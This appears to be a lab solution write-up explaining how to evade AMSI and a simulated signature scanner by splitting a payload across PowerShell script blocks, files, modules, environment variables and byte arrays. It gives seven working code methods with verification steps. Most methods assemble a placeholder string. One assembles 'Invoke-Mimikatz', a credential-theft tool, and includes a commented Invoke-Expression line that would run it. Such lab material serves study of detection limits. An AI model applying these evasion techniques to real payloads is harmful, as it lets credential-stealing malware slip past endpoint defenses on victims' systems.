Solution: Chunked Execution (Split Across Scan Boundaries)
Overview
Split a malicious payload across multiple independent script blocks, files, or execution contexts. AMSI scans each buffer independently — if no single buffer contains a complete signature, no detection occurs. The full payload is only assembled at runtime.
Working Code
Method 1: Variable Assembly Across Invocations
# Block 1 - scanned alone, completely harmless
$p1 = "mal"
$p2 = "ware"
# Block 2 - just a string concatenation, no signature present
$full = $p1 + $p2
# Block 3 - dynamic execution; the string only exists in memory
Invoke-Expression "Write-Host `"Payload: $full`""
Method 2: Multiple Script Files
part1.ps1:
# Innocuous - defines a partial variable
$global:chunk1 = "Invoke-"
part2.ps1:
# Innocuous - defines another partial variable
$global:chunk2 = "Mimikatz"
part3.ps1:
# Assembles and executes - neither chunk alone triggers detection
$cmd = $global:chunk1 + $global:chunk2
Write-Host "Would execute: $cmd"
# Invoke-Expression $cmd # actual execution
Launcher:
. .\part1.ps1 # Scan: just "$global:chunk1 = 'Invoke-'" - clean
. .\part2.ps1 # Scan: just "$global:chunk2 = 'Mimikatz'" - clean (fragment too short)
. .\part3.ps1 # Scan: "$cmd = $global:chunk1 + $global:chunk2" - no literal signature
Method 3: Pipeline Chunking
# Each pipeline stage is a separate scan buffer
$data = @("mal","wa","re") |
ForEach-Object { $_ } | # Scanned: just a passthrough
ForEach-Object -Begin { $acc = "" } -Process { $acc += $_ } -End { $acc }
Write-Host $data # "malware" only exists in $data variable, not in file text
Method 4: Module-Based Chunking
Module1.psm1:
function Get-Part1 { return "Inv" }
function Get-Part2 { return "oke-" }
Export-ModuleMember -Function Get-Part1, Get-Part2
Module2.psm1:
function Get-Part3 { return "Exp" }
function Get-Part4 { return "ression" }
Export-ModuleMember -Function Get-Part3, Get-Part4
executor.ps1:
Import-Module .\Module1.psm1
Import-Module .\Module2.psm1
# Assembly happens here - but no complete signature string in this file
$cmd = (Get-Part1) + (Get-Part2) + (Get-Part3) + (Get-Part4)
& $cmd "Write-Host 'chunked execution complete'"
Method 5: Delayed Execution with ScriptBlock Array
# Each scriptblock is a separate scan unit
$blocks = @(
{ $script:a = "mal" },
{ $script:b = "ware" },
{ $script:c = $script:a + $script:b },
{ Write-Host "Result: $script:c" }
)
# Execute blocks sequentially - each scanned independently
$blocks | ForEach-Object { & $_ }
Method 6: Registry/Environment Staging
# Stage 1: Store fragments in environment (separate execution)
[Environment]::SetEnvironmentVariable("_p1", "mal", "Process")
[Environment]::SetEnvironmentVariable("_p2", "ware", "Process")
# Stage 2: Later, in a different script block, assemble from env
$result = $env:_p1 + $env:_p2
Write-Host "Assembled: $result"
Method 7: Byte-Level Construction
# Store as individual bytes - no string signature anywhere
$bytes = [byte[]](109, 97, 108, 119, 97, 114, 101) # m,a,l,w,a,r,e
# Convert bytes to string at runtime
$str = [System.Text.Encoding]::ASCII.GetString($bytes)
Write-Host "Constructed: $str"
Why It Works
AMSI Scan Boundaries
AMSI scans content in discrete buffers. Each of these is a separate scan:
- Each
.ps1file when dot-sourced or invoked - Each script block
{ ... }when created - Each
Invoke-Expressionargument - Each command entered at the interactive prompt
- Each module file when imported
Scan Buffer 1: "$p1 = 'mal'" → No signature match → CLEAN
Scan Buffer 2: "$p2 = 'ware'" → No signature match → CLEAN
Scan Buffer 3: "$full = $p1 + $p2" → No signature match → CLEAN
Scan Buffer 4: "Write-Host $full" → No signature match → CLEAN
The scanner looks for "malware" as contiguous bytes. It never appears in any single buffer.
No Cross-Buffer Correlation
AMSI providers operate statelessly on individual buffers:
AmsiScanBuffer(context, buffer1, len1, ...) → CLEAN
AmsiScanBuffer(context, buffer2, len2, ...) → CLEAN
AmsiScanBuffer(context, buffer3, len3, ...) → CLEAN
There is no mechanism to:
- Correlate variables set in buffer1 with usage in buffer3
- Track data flow across scan boundaries
- Perform taint analysis across multiple scan calls
Each buffer is judged in isolation.
The Assembly Gap
┌─────────────────────────────────────────────┐
│ What AMSI Sees (Scan Time) │
├─────────────────────────────────────────────┤
│ Buffer 1: $p1 = "mal" ← clean │
│ Buffer 2: $p2 = "ware" ← clean │
│ Buffer 3: $full = $p1 + $p2 ← clean │
└─────────────────────────────────────────────┘
┌─────────────────────────────────────────────┐
│ What Actually Exists (Runtime) │
├─────────────────────────────────────────────┤
│ $full = "malware" ← assembled │
│ (only in memory, never scanned as a whole) │
└─────────────────────────────────────────────┘
File-Based Scanner Limitation
For our file-based scanner specifically, splitting across multiple files means each file is scanned independently. No single file contains the complete signature. The scanner has no concept of “these files work together.”
How to Verify
- Create the multi-file test:
Set-Content -Path "chunk1.ps1" -Value '$global:x = "mal"' Set-Content -Path "chunk2.ps1" -Value '$global:y = "ware"' Set-Content -Path "chunk3.ps1" -Value '$z = $global:x + $global:y; Write-Host "Got: $z"' - Scan each file individually:
nim_antimalware_sim.exe chunk1.ps1 nim_antimalware_sim.exe chunk2.ps1 nim_antimalware_sim.exe chunk3.ps1Expected: All clean — no single file contains “malware”.
- Execute them together to prove the payload works:
. .\chunk1.ps1 . .\chunk2.ps1 . .\chunk3.ps1 # Output: Got: malware - Compare with a single file containing the full string:
Set-Content -Path "detected.ps1" -Value 'Write-Host "malware"' nim_antimalware_sim.exe detected.ps1Expected: Detection — “malware” exists as contiguous bytes.
- Verify the single-block version also works:
$code = '$p1 = "mal"; $p2 = "ware"; $full = $p1 + $p2; Write-Host $full' Set-Content -Path "single_block.ps1" -Value $code nim_antimalware_sim.exe single_block.ps1Expected: No detection — fragments are separated by other bytes.
AMSI Raccoon Lab